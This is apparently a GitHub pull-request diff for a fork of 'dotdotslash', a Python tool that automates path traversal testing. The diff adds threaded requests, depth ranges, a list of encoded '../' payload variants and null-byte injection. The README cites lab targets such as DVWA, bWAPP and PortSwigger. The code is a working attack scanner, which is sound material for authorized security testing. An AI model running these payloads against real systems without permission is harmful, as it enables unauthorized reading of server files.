Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
# ignore env dir
env/

# ignore every cursor plan files with prefix cp_*
cp_*.md

# ignore pychache
__pycache__/
28 changes: 20 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ An tool to help you search for Directory Traversal Vulnerabilities
Platforms that I tested to validate tool efficiency:
* [DVWA](https://github.com/ethicalhack3r/DVWA) (low/medium/high)
* [bWAPP](http://www.itsecgames.com/) (low/medium/high)
* [Portswigger](https://portswigger.net/web-security/all-labs#path-traversal)


# Screenshots
Expand All @@ -28,32 +29,43 @@ This tool was made to work with Python3

```
> python3 dotdotslash.py --help
usage: dotdotslash.py [-h] --url URL --string STRING [--cookie COOKIE]
[--depth DEPTH] [--verbose]
usage: dotdotslash.py [-h] --url URL --string STRING [--cookie COOKIE] [--depth DEPTH] [--min-depth MIN_DEPTH] [--max-depth MAX_DEPTH] [--verbose] [--extension EXTENSION] [--lightweight]

dot dot slash - A automated Path Traversal Tester. Created by @jcesrstef.
dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef, ByteMastermind's fork

optional arguments:
options:
-h, --help show this help message and exit
--url URL, -u URL Url to attack.
--string STRING, -s STRING
String in --url to attack. Ex: document.pdf
--cookie COOKIE, -c COOKIE
Document cookie.
--depth DEPTH, -d DEPTH
How deep we will go?
How deep we will go? (backward compatibility, sets range 0 to depth)
--min-depth MIN_DEPTH
Minimum depth to test (use with --max-depth)
--max-depth MAX_DEPTH
Maximum depth to test (use with --min-depth)
--verbose, -v Show requests
--extension EXTENSION, -e EXTENSION
File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times.
--lightweight, -l lightweight mode - group similar encodings instead of trying all combinations
```

Example:

```
python3 dotdotslash.py \
--url "http://192.168.58.101/bWAPP/directory_traversal_1.php?page=a.txt" \
--url "http://192.168.58.101/bWAPP/directory_traversal_1.php?page=FUZZ" \
--string "a.txt" \
--cookie "PHPSESSID=089b49151627773d699c277c769d67cb; security_level=3"

--cookie "PHPSESSID=089b49151627773d699c277c769d67cb; security_level=3" \
-e ".png" -e ".jpg" \
-v \
-l \
--min-depth 2 \
--max-depth 5
```

# Let Me Know What You Think
* My Twitter: https://twitter.com/jcesarstef
* My Linkedin: https://www.linkedin.com/in/jcesarstef
Expand Down
197 changes: 144 additions & 53 deletions dotdotslash.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,25 @@
import re
import argparse
import sys
from match import dotvar, match, befvar
import concurrent.futures
import requests
from http.cookies import SimpleCookie
import time
from match import dotvar, match, befvar

# encoding variants for lightweight mode - each represents a different encoding method
lightweight_encodings = {
'plain': '../',
'url_encoded': '%2e%2e%2f',
'double_url_encoded': '%252e%252e%252f',
'backslash': '..\\',
'backslash_url_encoded': '%2e%2e%5c',
'backslash_double_url_encoded': '%252e%252e%255c',
'unicode_slash': '..%u2215',
'unicode_full': '%uff0e%uff0e%u2215',
'c0_encoding': '%c0%ae%c0%ae%c0%af',
'double_c0_encoding': '%25c0%25ae%25c0%25ae%25c0%25af',
'percent_encoding': '%%32%65%%32%65%%32%66'
}

class bcolors:
HEADER = '\033[95m'
Expand All @@ -19,83 +34,156 @@ class bcolors:

def codecollors(code):
if str(code).startswith("2"):
colorized = "\033[92m[" + str(code) + "] \033[0m"
return colorized
return "\033[92m[" + str(code) + "] \033[0m"
elif str(code).startswith("3"):
colorized = "\033[93m[" + str(code) + "] \033[0m"
return colorized
return "\033[93m[" + str(code) + "] \033[0m"
elif str(code).startswith("4"):
colorized = "\033[91m[" + str(code) + "] \033[0m"
return colorized
return "\033[91m[" + str(code) + "] \033[0m"
elif str(code).startswith("5"):
colorized = "\033[94m[" + str(code) + "] \033[0m"
return colorized
return "\033[94m[" + str(code) + "] \033[0m"
else:
return code

return str(code)

class request(object):
def query(self, url, cookie=None):
cookies = None
if cookie:
rawdata = "Cookie: " + cookie
cookie = SimpleCookie()
cookie.load(rawdata)

req = requests.get(url, cookies=cookie, allow_redirects=False)
cookies = SimpleCookie()
cookies.load(rawdata)
req = requests.get(url, cookies=cookies, allow_redirects=False)
self.raw = req.text
self.code = req.status_code

def process_task(fullrewrite, regex_pattern, cookie, verbose):
req = request()
req.query(fullrewrite, cookie=cookie)
catchdata = re.findall(str(regex_pattern), req.raw)
output_lines = []
if catchdata:
output_lines.append(codecollors(req.code) + fullrewrite)
output_lines.append(" Contents Found: " + str(len(catchdata)))
else:
if verbose:
output_lines.append(codecollors(req.code) + fullrewrite)
for i, match_item in enumerate(catchdata):
if i >= 7:
output_lines.append(" [...]")
break
output_lines.append(" " + bcolors.FAIL + str(match_item) + bcolors.ENDC)
return "\n".join(output_lines)

def forloop():
def forloop(arguments):
if str(arguments.string) not in str(arguments.url):
sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + " not found in url: " + bcolors.FAIL + arguments.url + "\n")

count = 0
duplicate = []
while (count != (arguments.depth + 1)):
sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC +
" not found in url: " + bcolors.FAIL + arguments.url + "\n")

duplicate = set()
for count in range(arguments.min_depth, arguments.max_depth + 1):
print("[+] Depth: " + str(count))
tasks = []
for var in dotvar:
for bvar in befvar:
for word in match.keys():
for word, regex_pattern in match.items():
# Build the rewrite using the given depth (count) value
rewrite = bvar + (var * count) + word
fullrewrite = re.sub(arguments.string, rewrite, arguments.url)

# Using re.sub (with re.escape for safety) to substitute the target string
fullrewrite = re.sub(re.escape(arguments.string), lambda m: rewrite, arguments.url)
if fullrewrite not in duplicate:
req = request()
req.query(fullrewrite)
catchdata = re.findall(str(match[word]), req.raw)
if (len(catchdata) != 0):
#print(bcolors.OKGREEN + "\n[" + str(req.code) + "] " + bcolors.ENDC + fullrewrite)
print(codecollors(req.code) + fullrewrite)
print(" Contents Found: " + str(len(catchdata)))
else:
if arguments.verbose:
print(codecollors(req.code) + fullrewrite)

icount = 0
# Print match
for i in catchdata:
print(" " + bcolors.FAIL + str(i) + bcolors.ENDC)
icount = icount + 1
if (icount > 6):
print(" [...]")
break
if arguments.verbose:
time.sleep(0)
duplicate.append(fullrewrite)
count += 1

duplicate.add(fullrewrite)
tasks.append((fullrewrite, regex_pattern))

# null byte injection when extension is provided
if arguments.extension:
for ext in arguments.extension:
null_byte_rewrite = bvar + (var * count) + word + "%00" + ext
null_byte_fullrewrite = re.sub(re.escape(arguments.string), lambda m: null_byte_rewrite, arguments.url)
if null_byte_fullrewrite not in duplicate:
duplicate.add(null_byte_fullrewrite)
tasks.append((null_byte_fullrewrite, regex_pattern))
if tasks:
# Use a ThreadPoolExecutor to run requests concurrently.
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
futures = [executor.submit(process_task, t[0], t[1], arguments.cookie, arguments.verbose) for t in tasks]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)

def forloop_lightweight(arguments):
if str(arguments.string) not in str(arguments.url):
sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC +
" not found in url: " + bcolors.FAIL + arguments.url + "\n")

duplicate = set()
for count in range(arguments.min_depth, arguments.max_depth + 1):
print("[+] Depth: " + str(count) + " (lightweight mode)")
tasks = []

# iterate through each encoding method
for encoding_name, var in lightweight_encodings.items():
for bvar in befvar:
for word, regex_pattern in match.items():
# use the same encoding for all path traversal sequences at this depth
rewrite = bvar + (var * count) + word
fullrewrite = re.sub(re.escape(arguments.string), lambda m: rewrite, arguments.url)
if fullrewrite not in duplicate:
duplicate.add(fullrewrite)
tasks.append((fullrewrite, regex_pattern))

# null byte injection when extension is provided
if arguments.extension:
for ext in arguments.extension:
null_byte_rewrite = bvar + (var * count) + word + "%00" + ext
null_byte_fullrewrite = re.sub(re.escape(arguments.string), lambda m: null_byte_rewrite, arguments.url)
if null_byte_fullrewrite not in duplicate:
duplicate.add(null_byte_fullrewrite)
tasks.append((null_byte_fullrewrite, regex_pattern))

if tasks:
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
futures = [executor.submit(process_task, t[0], t[1], arguments.cookie, arguments.verbose) for t in tasks]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='dot dot slash - A automated Path Traversal Tester. Created by @jcesrstef.')
parser = argparse.ArgumentParser(description='dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef, ByteMastermind\'s fork')
parser.add_argument('--url', '-u', action='store', dest='url', required=True, help='Url to attack.')
parser.add_argument('--string', '-s', action='store', dest='string', required=True, help='String in --url to attack. Ex: document.pdf')
parser.add_argument('--cookie', '-c', action='store', dest='cookie', required=False, help='Document cookie.')
parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, default='6', help='How deep we will go?')
parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, help='How deep we will go? (backward compatibility, sets range 0 to depth)')
parser.add_argument('--min-depth', action='store', dest='min_depth', required=False, type=int, help='Minimum depth to test (use with --max-depth)')
parser.add_argument('--max-depth', action='store', dest='max_depth', required=False, type=int, help='Maximum depth to test (use with --min-depth)')
parser.add_argument('--verbose', '-v', action='store_true', required=False, help='Show requests')
parser.add_argument('--extension', '-e', action='append', dest='extension', required=False, help='File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times.')
parser.add_argument('--lightweight', '-l', action='store_true', required=False, help='lightweight mode - group similar encodings instead of trying all combinations')
arguments = parser.parse_args()

# determine depth range
if arguments.depth is not None:
if arguments.min_depth is not None or arguments.max_depth is not None:
sys.exit("cannot use --depth with --min-depth/--max-depth")
min_depth = 0
max_depth = arguments.depth
elif arguments.min_depth is not None and arguments.max_depth is not None:
if arguments.min_depth < 0:
sys.exit("min-depth must be non-negative")
if arguments.max_depth < arguments.min_depth:
sys.exit("max-depth must be >= min-depth")
min_depth = arguments.min_depth
max_depth = arguments.max_depth
elif arguments.min_depth is not None or arguments.max_depth is not None:
sys.exit("both --min-depth and --max-depth must be specified together")
else:
# default behavior
min_depth = 0
max_depth = 6

arguments.min_depth = min_depth
arguments.max_depth = max_depth

banner = "\
_ _ _ _ _ _ \n\
__| | ___ | |_ __| | ___ | |_ ___| | __ _ ___| |__ \n\
Expand All @@ -108,8 +196,11 @@ def forloop():
Created by Julio Cesar Stefanutto (@jcesarstef)\n\
\n\
Starting run in: \033[94m" + arguments.url + "\033[0m\n\
\
"
print(banner)
forloop()

if arguments.lightweight:
forloop_lightweight(arguments)
else:
forloop(arguments)